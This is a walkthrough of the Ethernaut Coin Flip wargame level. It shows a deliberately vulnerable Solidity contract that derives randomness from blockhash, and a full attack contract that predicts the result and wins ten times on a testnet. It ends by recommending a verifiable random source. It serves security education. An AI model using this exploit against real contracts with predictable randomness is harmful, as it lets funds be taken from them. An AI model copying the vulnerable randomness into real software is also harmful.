Let's dive into Ethernaut challenge #3 - Coin Flip. In this assignment, we will learn about the complexities of random number generation on blockchain.
Requirements
For the following smart contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
We have to guess the magic number for 10 times in a row.
Solution
The guessing logic function flip
might look a bit scary: it uses a big FACTOR
number, depends on block number, etc. Well, the issue is that all this complexity doesn't really matter. Smart contract code is publicly available and it's possible to reproduce the logic by just copying it. But of course we need to understand what exactly should be copied.
Starting with state variables. We don't need consecutiveWins
, because it's a count tracker in CoinFlip
and has nothing to do with random generator logic. But we can see that the other two state variables:
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
are used in used in flip()
function. It also a good idea to copy the first part of flip()
itself because it contains everything we need to generate correct random value:
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
In fact, we are almost done! However, we have to call Coin Flip contract. For this we will define its interface and call flip()
method. Complete solution code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function consecutiveWins() external returns (uint256);
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttack {
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address coinFlipContract;
constructor(address _coinFlipContract) {
coinFlipContract = _coinFlipContract;
}
function guess() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
ICoinFlip(coinFlipContract).flip(side);
}
}
Notice ICoinFlip
interface definition and a call at the end of guess()
.
Let's deploy our smart contract in Remix. Be sure to select an Injected Provider - Metamask and switch to the same testnet where Ethernaut instance is deployed. In my case it's Sepolia network. I'll create a separate post on how to deploy and verify contracts in Remix, so stay tuned if you are interested.
Copy the address of Ethernaut instance, provide it as a constructor argument and click Deploy. Here is how it should look like:
Let's return to the task page and check how many consecutive we have at the moment (should be zero):
await contract.consecutiveWins().then(result => result.toString()
Now comes the boring part. We have to call guess()
function for 10 times in a row to solve the challenge. Luckily, we are on a right track and almost certainly our labor will be rewarded.
After calling guess()
10 times run previous command in console once again. Here we have it. Another level is completed!
Summary
Random numbers are not natively supported on blockchain. Anyone can see the code and just copy it without even getting into the details of implementation. Consider using Oracle like Chainlink VRF for random numbers generation.
My personal recommendations for further education:
Check smart contract hacking course by JohnnyTime. There is an entire section on randomness vulnerabilities.
Find problems in CodeHawks First Flight #2. This competition emphasises on issues with random numbers.
Top comments (0)